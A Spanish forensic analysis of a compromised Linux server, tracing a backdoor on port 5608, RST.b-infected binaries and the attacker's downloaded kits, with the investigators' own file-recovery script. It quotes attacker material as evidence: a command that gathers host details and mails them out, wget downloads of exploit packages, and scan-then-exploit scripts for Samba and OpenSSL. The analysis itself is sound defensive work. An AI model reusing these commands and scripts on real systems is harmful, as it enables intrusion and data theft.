ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), not stripped
rpmpkgs: ASCII text
strings -a * | less
PID = %d
touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sb
in/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s ’Port nou’ [email protected]
/usr/tmp
/dev/null
...
/dev/hdx
...
DOM‘
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
h/bin
...
snortdos
tory
El comando strings nos dice que recoge información del sistema con uname -a, ifconfig, hosname y lo manda por correo a la
dirección de [email protected] como podemos observar igualmente esta infectado por el virus RST.b, decidimos ir un
poco más lejos y ejecutamos * (pico) el binario con strace y posteriormente vemos con los comandos ps -aux, lsof y netstat
lo ocurrido:
# funcionamiento de pico
linux:/x # strace -x ./pico
execve("./pico", ["./pico"], [/* 68 vars */]) = 0
uname({sys="Linux", node="linux", ...}) = 0
brk(0)
= 0x804a9b0
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)
=3
fstat64(3, {st_mode=S_IFREG|0644, st_size=75690, ...}) = 0
old_mmap(NULL, 75690, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
close(3)
=0
open("/lib/libc.so.6", O_RDONLY)
=3
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 1024) = 1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1262084, ...}) = 0
old_mmap(NULL, 1268004, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40028000
mprotect(0x40157000, 26916, PROT_NONE) = 0
old_mmap(0x40157000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x12f000) = 0x40157000
old_mmap(0x4015b000, 10532, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4015b000
close(3)
=0
munmap(0x40015000, 75690)
=0
fork()
= 1887
--- SIGCHLD (Child exited) @ 0 (0) --socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(5608), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)
=0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 1), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40015000
write(1, "Port for Alinutu :P \n", 21Port for Alinutu :P
) = 21
fork()
= 1890
write(1, "PID = 1890\n", 12PID = 1890
)
= 12
rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [RTMIN], 8) = 0
fork()
= 1891
wait4(1891, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 1891
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [RTMIN], NULL, 8) = 0
--- SIGCHLD (Child exited) @ 0 (0) --munmap(0x40015000, 4096)
=0
exit_group(0)
=?
linux:~ # ps -aux
Bad syntax, perhaps a bogus ’-’?
USER
root
root
root
root
root
...
PID %CPU %MEM VSZ RSS TTY
STAT START TIME COMMAND
1 0.1 0.0 500 244 ?
S 09:51 0:05 init [5]
2 0.0 0.0 0 0 ?
SW 09:51 0:00 [keventd]
3 0.0 0.0 0 0 ?
SWN 09:51 0:00 [ksoftirqd_CPU0]
4 0.0 0.0 0 0 ?
SW 09:51 0:00 [kswapd]
5 0.0 0.0 0 0 ?
SW 09:51 0:00 [bdflush]
...
root
1875
root
1890
root
1909
root
1910
root
1916
linux:~ #
0.0
0.0
2.2
0.0
0.0
2.5 26992 12856 ?
0.0 1444 308 ?
2.6 29052 13648 ?
0.3 4856 1608 pts/1
0.1 2524 668 pts/1
S
S
S
S
R
10:52 0:00 kdeinit: kio_uiserver
10:54 0:00 ./pico
10:58 0:00 kdeinit: konsole
10:58 0:00 /bin/bash
10:58 0:00 ps -aux
linux:~ # lsof -p 1890
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
pico 2135 root cwd DIR 0,8 60 22052 /var/tmp
pico 2135 root rtd DIR 0,8 500 9675 /
pico 2135 root txt REG 3,5 19960 32654 /pico
pico 2135 root mem REG 0,8 83928 21532 /lib/ld-2.3.2.so
pico 2135 root mem REG 0,8 1262084 21546 /lib/libc.so.6
pico 2135 root 0u CHR 1,3
14886 /dev/null
pico 2135 root 1u CHR 1,3
14886 /dev/null
pico 2135 root 2u CHR 1,3
14886 /dev/null
pico 2135 root 3u IPv4 53898
TCP *:5608 (LISTEN)
linux:~ # netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address
Foreign Address
State
PID/Program name
tcp
0
0 0.0.0.0:5608
0.0.0.0:*
LISTEN
1890/pico
linux:~ # telnet localhost 5608
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is ’^]’.
sh-2.05b# id
id
uid=0(root) gid=0(root) groups=0(root)
sh-2.05b#
Vemos claramente que su nombre es pico y abre un puerto TCP *:5608 (LISTEN), podemos observar las librerías que
utiliza, el alojamiento del binario en /var/tmp, se confirma con netstat la apertura de un puerto tcp 5608 y finalmente hacemos
un telnet al puerto en cuestión y nos suministra una shell. Podría definirlo como una puerta trasera ó backdoor.
ejecucióndel woot.tgz
En las siguiente líneas de tiempos el intruso se descarga varias herramientas más, aun no sabemos que exploit a utilizado en
su intrusión pero de una cosa si estamos seguro y es de que el exploit que ha utilizado debe estar infectado por el virus RST.b,
comencemos el análisis de sus herramientas.
22:36:43.000000000 +0100 200.207.pscan.139
22:36:43.000000000 +0100 w00t
Buscamos en el sistema a w00t y lo encontramos en
linux:/x # find -name w00t
./var/tmp/w00t
linux:/x/var/tmp/w00t # ls -lat
total 324
drwxrwxrwt 5 root root
4096 Jan 31 18:54 ..
drwxr-xr-x 2 523 523
4096 Jan 29 22:36 .
-rw-r--r-- 1 root root
0 Jan 29 22:36 200.207.pscan.139
-rwxr-xr-x 1 523 523
813 Apr 22 2003 asmb
-rwxr-xr-x 1 523 523
24798 Apr 21 2003 pscan2
-rwxr-xr-x 1 523 523
39340 Apr 21 2003 samba
-rwxr-xr-x 1 523 523
39469 Apr 21 2003 sambas
-rwxr-xr-x 1 523 523
26592 Apr 21 2003 vuln
-rwxr-xr-x 1 523 523
21495 Apr 21 2003 o0o
-rwxr-xr-x 1 523 523
20893 Apr 21 2003 try
-rw-r--r-- 1 523 523
396 Apr 21 2003 try.c
-rw-r--r-- 1 523 523
42930 Apr 21 2003 sambas.c
-rw-r--r-- 1 523 523
5767 Apr 21 2003 pscan2.c
-rwxr-xr-x 1 523 523
121 Apr 21 2003 make
-rw-r--r-- 1 523 523
13516 Apr 21 2003 vuln.c
-rw-r--r-- 1 523 523
42762 Apr 21 2003 samba.c
-rw-r--r-- 1 523 523
885 Apr 18 2003 o0o.c
-rwxr-xr-x 1 523 523
206 Apr 17 2003 auto
En este arsenal compuesto por el scanner pscan2, test de vulnerabilidades de samba y por supuesto su exploit "o0o"; la
ejecución de este exploit de samba se encuentra en su propio script de ataque:
#!/bin/sh
if [ $# != 1 ]; then
echo " usage: $0 <b class>" < ---------te pregunta que rango de IPs
exit;
fi
echo
echo "# private underground versión of the samba scanner by kha0s"
echo "# deversify owns u’r soul. he’s leet"
echo "# PRIV8 PRIV8 PRIV8"
echo "# and keep it like that nigga"
echo "# join #teso on undernet for some lessons kiddies!"
echo "----------------------------------------------------"
echo "# starting scan ..."
./pscan2 $1 139 <-------------recoge los rangos de IPs y escanea la red al puerto 139
echo "# sleeping for 10 sex."
sleep 10
cat $1.pscan.139 |sort |uniq > $1.smb
./vuln $1.smb $1.smb.out 20 <---A las IPs recogidas se les aplica un analizador de vulnerabilidades samba
oopsnr2=‘grep -c . $1.smb.out‘
echo "# recognized $oopsnr2 samba servers"
echo "----------------------------------------"
echo "# exploiting. hang on to your keyboard hax0r."
./o0o $1.smb.out <------------------------Con las IPs vulnerables se les ejecuta el exploit.
oopsnr1=‘grep -c . woot.log‘
echo "# u got $oopsnr1 roots"
echo "# over and out."
En el script se observa perfectamente la ejecución en conjunto del exploit de samba, en primer lugar una vez ejecutado el script
te pregunta que rangos de IPs deseas nuestro intruso según la línea de tiempos le suministro los rangos 200.207
22:36:43.000000000 +0100 200.207.pscan.139
pscan recoge estos rangos y scannea la red buscando puertos 139 abiertos (./pscan2 $1 139), una vez localizados, les aplica a
las IPs el ejecutable de test de vulnerabilidades (./vuln $1.smb $1.smb.out 20 ); comprobado que es vulnerable les aplica el
exploit (./o0o $1.smb.out ). consiguiendo el acceso no autorizado al sistema.
Analizamos los binarios de este exploit con nuestra herramienta strings
linux:/x/var/tmp/w00t # strings -a try | grep /
/lib/ld-linux.so.2
killall -9 sambas 2>/dev/null
./sambas -b 0 %s
/usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu
/usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu
../sysdeps/unix/sysv/linux/bits/types.h
../sysdeps/unix/sysv/linux/bits/sched.h
../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
../wcsmbs/wchar.h
../sysdeps/gnu/_G_config.h
../iconv/gconv.h
/usr/lib/gcc-lib/i386-redhat-linux/3.2/include/stddef.h
/tmp/ccnhFcil.s
/tmp/ccqfJNVk.s
/usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu
\J\\F@A/\[N][JK5
Analizado todos los ejecutables y archivos del w00t.tgz no encontramos relación con el virus RST.b y a partir de su
ejecución ningún binario de /x/bin es modificado por el virus, recordamos que hasta la fecha solo tres binarios de /x/bin están
contaminados (gawk, gawk-3.1.0 y chmod) aunque sabemos que hay más en distintas líneas del tiempo, por lo tanto
descartamos este exploit como causante de lo que esta ocurriendo en este Sistema y sigamos con la línea temporal de
modificados.
Instalación de un proxy IRC: psyBNC
22:46:42.000000000 +0100 psybnc.log
22:46:42.000000000 +0100 psybnc.pid
Según nuestra linea de tiempo se ha creado fichero log de psybnc nos sugiere la descarga de un proxy IRC:psybnc, veamos
.bash_history
linux:/x # find -name .bash_history
./raíz/root/.bash_history
./raíz/.bash_history
./var/tmp/.bash_history <-------------------linux:/x/var/tmp # cat .bash_history
w
cd /var/tmp
...
rm -rf /tmp/*
cd /var/log
...
wget www.zetu.as.ro/psyz.tar.gz
tar xzvf psyz.tar.gz
rm -rf psyz.tar.gz.
...
rm -rf psybnc.conf*
wget www.zetu.as.ro/psybnc/psybnc.conf
...
wget www.zetu.as.ro/psybnc.tgz
tar xvfz psybnc.tgz
cd psybnc
...
wget http://www.plus.factory.home.ro/selena.tgz
tar xvfz selena.tgz
cd selena
./assl 217.172
Segun el bash_history de la carpeta /var/tmp los procesos de descargas de los exploit selena.tgz y psyz.tar.gz y psybnc.tgz
de varias paginas web y los aloja en la carpeta /var/tmp/ , vemos el arsenal de herramientas conseguido después de las
descargas (w00t) y openSSl (selena) y el proxy IRC:psyBNC. Analicemos la carpeta psybnc.
linux:/x/var/tmp/psybnc # ls -lat
total 636tm
drwxrwxrwt 5 root root
4096 Jan 31 18:54 ..
drwxr-xr-x 8 657 226
4096 Jan 31 10:12 .
-rw------- 1 root root
105 Jan 31 10:12 USER1.LOG
-rw------- 1 root root
671 Jan 30 00:53 psybnc.conf
-rw------- 1 root root
671 Jan 30 00:53 psybnc.conf.old
drwxr-xr-x 2 657 226
4096 Jan 29 22:49 motd
drwxr-xr-x 2 657 226
4096 Jan 29 22:48 log
-rw------- 1 root root
7 Jan 29 22:46 psybnc.pid
-rw-r--r-- 1 657 226
134 Aug 23 2002 README
-rw-r--r-- 1 657 226
394 Oct 28 2000 Makefile
-rwxr-xr-x 1 657 226
533616 Oct 28 2000 psybnc
-rw-r--r-- 1 657 226
76 Oct 28 2000 TODO
-rw-r--r-- 1 657 226
18124 Oct 28 2000 CHANGES
drwxr-xr-x 2 657 226
4096 Oct 21 2000 tools
drwxr-xr-x 3 657 226
4096 Oct 21 2000 menuconf
drwxr-xr-x 2 657 226
4096 Oct 21 2000 help
-rwxr-xr-x 1 657 226
-rw-r--r-- 1 657 226
drwxr-xr-x 3 657 226
-rw------- 1 657 226
369 Aug 8 2000 psybncchk
2660 Aug 8 2000 FAQ
4096 Jul 30 2000 scripts
17982 May 16 1997 COPYING
Tras asegurarse el control de la máquina y su acceso posterior, ahora el atacante lleva a cabo la instalación de las
herramientas para las que quería el control de la misma. Lo que instala es psyBNC es un bouncer, nombre con el que se
conocen a los proxy para el IRC permitiendo ocultarla IP real y utilizar un "vhost" (vanity host). La ventaja de conectarse a IRC
a través de herramientas como esta es que permite estar conectado siempre en la red, aunque desconectes el cliente IRC, lo que
permite mantener privilegios, estar siempre en los canales,... Se suele instalar en equipos con una conexión de gran ancho de
banda.
La psybnc es un programa muy parecido a un BNC aunque es más avanzado y es mucho más fácil de configurar. Éste
corre en otro servidor (shell), permitiéndote conectarte a él como un servidor IRC, y a través de él, conectarte a un verdadero
servidor IRC o ftp usando la ip del servidor donde se encuentra este psybnc.
Las razones por las que utilizamos un PSYBNC para ingresar a Internet es por razones de seguridad. Es decir que cuando
ingresamos al IRC con un psyBNC, nuestro Host real no es mostrado, y en cambio son utilizados Host Virtuales, provistos por
la compañía, a la que le estamos rentando la Shell.
Otra de las razones para usar una psyBNC son dejar su nick conectado las 24 horas con una IP diferente a la de su máquina
y con su PC apagada, ya que cuando usted se desconecta del IRC, el nick sigue corriendo en la máquina donde está corriendo la
psyBNC, así mismo también ese nick tendrá la ip de la máquina donde está la psyBNC, y al conectarse nuevamente podrás
recuperar la sesión y tendrás un log de todo lo acontecido. También la psyBNC esconde tu IP para sesiones DCC donde en
condiciones normales se vería su IP real.
Puedes bajarlo de http://www.psychoid.lam3rz.de/psyBNC2.3.tar.gz o
Sin embargo la psyBNC posee otras funciones tales como Auto OP?s y comandos para obtener OP. En algunas Redes de
IRC que no tienen Channel y Nickname Services (Servicios para el registro de canales y Nick), tales como IRCnet y Efnet, los
canales son cuidados por bots. Con algunos comandos de psyBNC podemos remplazar estos Bots. Veamos con strings sobre la
partición swap para localizar alguna conexión de IRC
linux:/x # strings -a hda6.dd | grep ":connect from" | sed ’s/^.*\(:connect.*\)$/\1/g’ | sort -u
# no obtenemos ninguna conexión, nada intentémoslo con
linux:/x # strings -a hda6.dd | grep "IRC" | less
msg1073=Loescht ein IRC-Netzwerk vom Client
msg0025=:[email protected] PRIVMSG %s :Questo e’ uno psyBNC-IRC-Proxy anonimo
msg0060=Jump richiesto da %s. Uscita da IRC.
msg0692=:[email protected] NOTICE %s :Il tuo client IRC non ha inviato la password.
Scrivi /QUOTE
PASS tuapassword per connetterti.
msg0987=
and the cool lam3rz Group IRCnet
msg1046=Salta al successivo server IRC in lista
msg1061=Aggiunge un server IRC alla tua lista di server
msg1064=Cancella un IRC server dalla lista, referenziato per numero
msg1067=Lista tutti i server IRC
msg1124=Offre una DCC Chat per un dato utente su IRC
msg1133=Invia un file attraverso un dato utente su IRC
msg1136=Prende un file inviato attraverso DCC da un utente su IRC
*
the cool lam3rz IRC Group, IRCnet
Parecen trozos de un chat, nuestro intruso por el vocabulario puede ser Italiano, sigamos con el análisis de las herramientas
descargadas por el intruso y en este caso veremos el empaquetado de Selena.tgz
Ejecución de selena.tgz
18:54:37.000000000 +0100 /var/tmp/selena/ del 31/01/2005
linux:/x/var/tmp # cat .bash_history
w
cd /var/tmp
...
wget http://www.plus.factory.home.ro/selena.tgz
tar xvfz selena.tgz
cd selena
./assl 217.172
El paquete exploit de selena es descargado según el fichero de .bash_history con el comando wget desde (
http://www.plus.factory.home.ro/selena.tgz) es desempaquetado y ejecutado el script assl, después del cual se desencadena
bastantes acontecimientos. Bien analicemos el contenido del paquete.
linux:/x/var/tmp/selena # ls -lat
total 764
-rwxr-xr-x 1 505 505
46379 Jan 31 19:03 ssl
-rwxr-xr-x 1 505 505
46218 Jan 31 19:03 sslx
-rwxr-xr-x 1 505 505
46218 Jan 31 19:03 ssx
-rw-r--r-- 1 root root
11111 Jan 31 19:03 217.172.ssl.out
-rwxr-xr-x 1 505 505
23070 Jan 31 19:03 sslex
drwxr-xr-x 2 505 505
4096 Jan 31 19:02 .
-rw-r--r-- 1 root root
33611 Jan 31 19:02 217.172.ssl
-rwxr-xr-x 1 505 505
18696 Jan 31 19:02 oops
-rw-r--r-- 1 root root
33611 Jan 31 19:02 217.172.pscan.443
-rwxr-xr-x 1 505 505
29061 Jan 31 18:54 ssvuln
drwxrwxrwt 5 root root
4096 Jan 31 18:54 ..
-rw-r--r-- 1 root root
0 Jul 9 2003 .0.pscan.443
-rw-r--r-- 1 root root
0 Jul 9 2003 204.60.pscan.443
-rw-r--r-- 1 505 505
290 Jul 9 2003 res.log
-rw-r--r-- 1 505 505
0 Dec 16 2002 66.18.pscan.443
...
-rw-r--r-- 1 505 505
3407 Dec 14 2002 wget-log
-rw-r--r-- 1 505 505
0 Dec 14 2002 203.5.pscan.443
-rw-r--r-- 1 505 505
0 Dec 14 2002 140.141.pscan.443
-rwxr-xr-x 1 505 505
27237 Dec 14 2002 pscan2
-rw-r--r-- 1 505 505
0 Dec 14 2002 203.116.pscan.443
...
-rw------- 1 505 505
98304 Nov 8 2002 core
-rw-r--r-- 1 505 505
3301 Nov 8 2002 193.226.ssl.out
-rw-r--r-- 1 505 505
8276 Nov 8 2002 193.226.ssl
-rw-r--r-- 1 505 505
8276 Nov 8 2002 193.226.pscan.443
-rw-r--r-- 1 505 505
16384 Nov 8 2002 66.220.pscan.443
-rwxr-xr-x 1 505 505
3460 Oct 23 2002 runer
-rw-r--r-- 1 505 505
20727 Oct 22 2002 su
-rw-r--r-- 1 505 505
12557 Oct 19 2002 main.c
-rwxr-xr-x 1 505 505
390 Oct 19 2002 doit4me
-rwxr-xr-x 1 505 505
206 Oct 19 2002 auto
-rwxr-xr-x
-rw-r--r--rw-r--r--rw-r--r--rw-r--r--
1 505
1 505
1 505
1 505
1 505
505
505
505
505
505
728 Sep 21 2002 assl
482 Sep 21 2002 Makefile
5767 Sep 21 2002 pscan2.c
2077 Sep 13 2002 main.h
200679 Nov 5 2000 psyBNC2.2.1.tar.gz
De todo el contenido de selena veremos el script assl donde se muestra los "pasos a pasos" de la aplicación de este exploit
de ataque muy parecido al empaquetado w00t.
#!/bin/sh
if [ $# != 1 ]; then
echo " usage: $0 <b class>" < ---------te pregunta que rango de IPs
exit;
fi
echo
echo "# scanner for the apache 0p3nSSL vuln by insider"
echo "# PRIVATE PRIVATE PRIVATE"
echo "# DON’T DISTRIBUTE"
echo "----------------------------------------------------"
echo "# starting scan ..."
./pscan2 $1 443
<----recoge los rangos de IPs y escanea la red al puerto 443
echo "# sleeping for 10s to let scanning finish up."
sleep 10
cat $1.pscan.443 |sort |uniq > $1.ssl
./ssvuln $1.ssl $1.ssl.out 35 <-------A las IPs recogidas se les aplica un analizador de vulnerabilidades
oopsnr2=‘grep -c . $1.ssl.out‘
echo "# recognized $oopsnr2 apache web servers"
echo "----------------------------------------"
echo "# exploiting"
./oops $1.ssl.out
<-----------------Con las IPs vulnerables se les ejecuta el exploit.
echo "# g00d luck gaining root cause i’m"
echo "# over and out."
rm -rf $1.pscan.443
rm -rf $1.ssl
rm -rf $1.ssl.out
En principio te pregunta que rango de IPs deseas y le diremos como nuestro intruso 217.172, pscan2 recoge este rango y
scannea la red ejem. 217.172.00.01; 217.172.00.02;... así sucesivamente, todas las IPs recogidas se les aplica el ejecutable de
vulnerabilidades ./ssvuln 217.172.45.89, si cumple con las condiciones vulnerables se les aplica el exploit ./oops y en este caso
se explota la vulnerabilidad de OpenSSL que abre un shell perteneciente al usuario nobody/apache sobre el servidor Web
Apache. Para ello, se utiliza un buffer overflow en la llave del protocolo SSL: KEY_ARG como hemos mencionado al inicio.
Este abre un shell con privilegios de root. Analizado todos los ejecutables y archivos de selena.tgz si encontramos relación
con el virus y a partir de su ejecución en el sistema, se observa según nuestra línea del tiempo todas las modificaciones en los
ejecutables de /x/bin desde 18:54:37 del 31/01/2005, por el virus RST.b. Observemos:
18:54:37.000000000 +0100 /var/tmp/selena/ 31/01/2005
18:54:57.000000000 +0100 ssvuln
19:02:17.000000000 +0100 217.172.pscan.443
19:02:28.000000000 +0100 217.172.ssl
19:02:28.000000000 +0100 oops
19:02:28.000000000 +0100 selena
19:03:25.000000000 +0100 217.172.ssl.out
19:03:25.000000000 +0100 sslex
19:03:40.000000000 +0100 .bash_history
19:03:40.000000000 +0100 chgrp
19:03:40.000000000 +0100 chown
19:03:40.000000000 +0100 cpio
19:03:40.000000000 +0100 dd
19:03:40.000000000 +0100 df
19:03:40.000000000 +0100 ed
19:03:40.000000000 +0100 hostname
19:03:40.000000000 +0100 ln
19:03:40.000000000 +0100 ls
19:03:40.000000000 +0100 mail
19:03:40.000000000 +0100 mkdir
19:03:40.000000000 +0100 mknod
19:03:40.000000000 +0100 mktemp
19:03:40.000000000 +0100 mt
19:03:40.000000000 +0100 netstat
19:03:40.000000000 +0100 ping
19:03:40.000000000 +0100 setserial
19:03:40.000000000 +0100 ssl
19:03:40.000000000 +0100 sslx
19:03:40.000000000 +0100 ssx
Esta claro que una vez ejecutado el script assl se produce una masiva infección por el virus RST.b, sobre los binarios de
/x/bin, si este exploit consigue una nueva IP vulnerable, se le aplica el exploit sin lugar a dudas infectara ese nuevo sistema.
Analizamos el exploit de selena con strings y detectamos claramente la infección del virus:
linux:/x/var/tmp/selena # strings -a oops |grep /
/lib/ld-linux.so.2
/dev/hdx <--------------/bin/sh <----------------
GET /~telcom69/gov.php HTTP/1.0 <----------------------h/bin
/lib/ld-linux.so.2
/usr/src/bs/BUILD/glibc-2.1.92/csu/
../include/libc-symbols.h
../sysdeps/unix/sysv/linux/_G_config.h
../sysdeps/unix/sysv/linux/bits/types.h
../include/features.h
../include/sys/cdefs.h
/usr/lib/gcc-lib/i386-redhat-linux/2.96/include/stddef.h
../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
../sysdeps/unix/sysv/linux/bits/sched.h
../include/wchar.h
../wcsmbs/wchar.h
../include/gconv.h
../iconv/gconv.h
Analicemos el ejecutable del test de vulnerabilidades y observemos que RedHat linux 7.3 es vulnerable a este exploit y por
supuesto infectado también, como todos los componentes del empaquetado, por el virus.
linux:/x/var/tmp/selena # strings -a ssvuln
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
...
SuSE Linux 7.0 (apache-1.3.12)
SuSE
RedHat Linux 7.3 (apache-1.3.22 worm offset)
1.3.22
RedHat Linux 7.3 (apache-1.3.23-11)
1.3.23
Redhat Linux 7.2 (apache-1.3.26 w/PHP)
Redhat Linux 7.2 (apache-1.3.26 worm offset)
RedHat Linux 7.2 (apache-1.3.20-16)
1.3.20
RedHat Linux 7.1 (apache-1.3.19-5)
...
DOM‘
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
eth0
h/bin
...
Hemos comprobado que el paquete selena.tgz es el causante del acceso e infección no autorizado por el intruso al sistema.
Analicemos los servicios abiertos al exterior en el momento del ataque y para ello visitemos /x/var/run
linux:/x/var/run # ls -lat
total 76/ru
-rw-rw-r-- 1 root utmp
4224 Jan 28 20:48 utmp
-rw-r--r-- 1 root root
4 Jan 23 11:02 httpd.pid
drwxr-xr-x 7 root root
4096 Jan 20 23:44 .
-rw-r--r-- 1 root root
5 Jan 20 23:44 atd.pid
-rw-r--r-- 1 root root
4 Jan 20 23:44 crond.pid
-rw------- 1 root root
4 Jan 20 23:44 gpm.pid
-rw-r--r-- 1 root root
32 Jan 20 23:44 sendmail.pid
-rw-r--r-- 1 root root
4 Jan 20 23:43 sshd.pid
-rw-r--r-- 1 root root
4 Jan 20 23:43 xinetd.pid
-rw-r--r-- 1 root root
4 Jan 20 23:43 apmd.pid
-rw------- 1 48
root
0 Jan 20 23:43 httpd.mm.723.sem
drwxr-xr-x 2 27
27
4096 Jan 20 23:43 mysqld
-rw------- 1 root root
4 Jan 20 23:43 klogd.pid
-rw------- 1 root root
4 Jan 20 23:43 syslogd.pid
drwxr-xr-x 20 root root
4096 Jan 20 16:57 ..
drwxrwxr-x 2 root root
4096 Apr 19 2002 netreport
drwxr-xr-x 2 75
75
4096 Apr 12 2002 radvd
drwxr-xr-x 2 root root
4096 Apr 10 2002 console
drwxr-xr-x 2 at
at
4096 Mar 14 2002 named
linux:/x/var/run # cat sshd.pid
901
Con este análisis de selena.tgz podemos confirmar que ha sido el exploit openSSl infectado por el virus LinuxRST.b el
causante de la entrada al sistema. Intentemos recuperar los archivos borrados por el intruso al utilizar las herramientas antes
mencionada y veamos los resultados.
Recuperación de archivos borrados
Para recuperar los archivos borrados preparamos el siguiente script
#!/bin/sh
/forensics/tct_bin/ils -r /x/hda5.dd |awk -F ’|’ ’($2== "f") {print $1 }’ | while read i;do /forensics/tct_bin/icat /x/hda5.dd
$i > /x/borrados/$i ;done
Con este script utilizamos herramientas de TCT (The Coroner’s Toolkit) ejecutamos ils -r sobre la
imagen hda5.dd y nos sumistra un listados ficheros borrados, con el comando icat lo hacemos visible, con
el resto de ejecutables lo analizamos, en nuestro caso obtuvimos el siguiente resultado, unos pocos archivo
borrados y vacíos:
linux:/x/borrados # ls -lat
total 48
drwxrwxr-x 7 root users
drwxrwxr-x 2 root users
-rwxrwxr-x 1 root users
-rwxrwxr-x 1 root users
-rwxrwxr-x 1 root users
-rwxrwxr-x 1 root users
-rwxrwxr-x 1 root users
16384 Feb 26 17:30 ..
16384 Feb 17 11:46 .
0 Feb 17 11:46 64002
0 Feb 17 11:46 64003
0 Feb 17 11:46 64019
0 Feb 17 11:46 64020
0 Feb 17 11:46 80003
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
-rwxrwxr-x
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
1 root
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
users
0 Feb 17 11:46 80008
0 Feb 17 11:46 80010
0 Feb 17 11:46 80011
0 Feb 17 11:46 80012
0 Feb 17 11:46 80021
0 Feb 17 11:46 80022
0 Feb 17 11:46 80023
0 Feb 17 11:46 80024
0 Feb 17 11:46 80025
0 Feb 17 11:46 80026
0 Feb 17 11:46 96006
0 Feb 17 11:46 96007
0 Feb 17 11:46 96008
0 Feb 17 11:46 96009
0 Feb 17 11:46 96012
0 Feb 17 11:46 96013
0 Feb 17 11:46 96014
0 Feb 17 11:46 96015
0 Feb 17 11:46 96016
0 Feb 17 11:46 96017
0 Feb 17 11:46 96018
0 Feb 17 11:46 96019
0 Feb 17 11:46 96020
0 Feb 17 11:46 96021
0 Feb 17 11:46 96022
0 Feb 17 11:46 96023
0 Feb 17 11:46 96024
0 Feb 17 11:46 96025
0 Feb 17 11:46 96026
0 Feb 17 11:46 96027
0 Feb 17 11:46 96028
0 Feb 17 11:46 96029
0 Feb 17 11:46 96030
0 Feb 17 11:46 96031
0 Feb 17 11:46 96032
0 Feb 17 11:45 12
0 Feb 17 11:44 111853
0 Feb 17 11:44 111867
0 Feb 17 11:44 111868
0 Feb 17 11:44 111869
0 Feb 17 11:44 111870
0 Feb 17 11:44 111871
0 Feb 17 11:44 18398
0 Feb 17 11:44 18399
0 Feb 17 11:44 18453
0 Feb 17 11:44 18462
0 Feb 17 11:44 37415
0 Feb 17 11:44 37436
0 Feb 17 11:44 37437
0 Feb 17 11:44 37439
0 Feb 17 11:44 37440
0 Feb 17 11:44 48275
0 Feb 17 11:44 48886
0 Feb 17 11:44 48887
0 Feb 17 11:44 48888
0 Feb 17 11:44 66348
-rwxrwxr-x 1 root
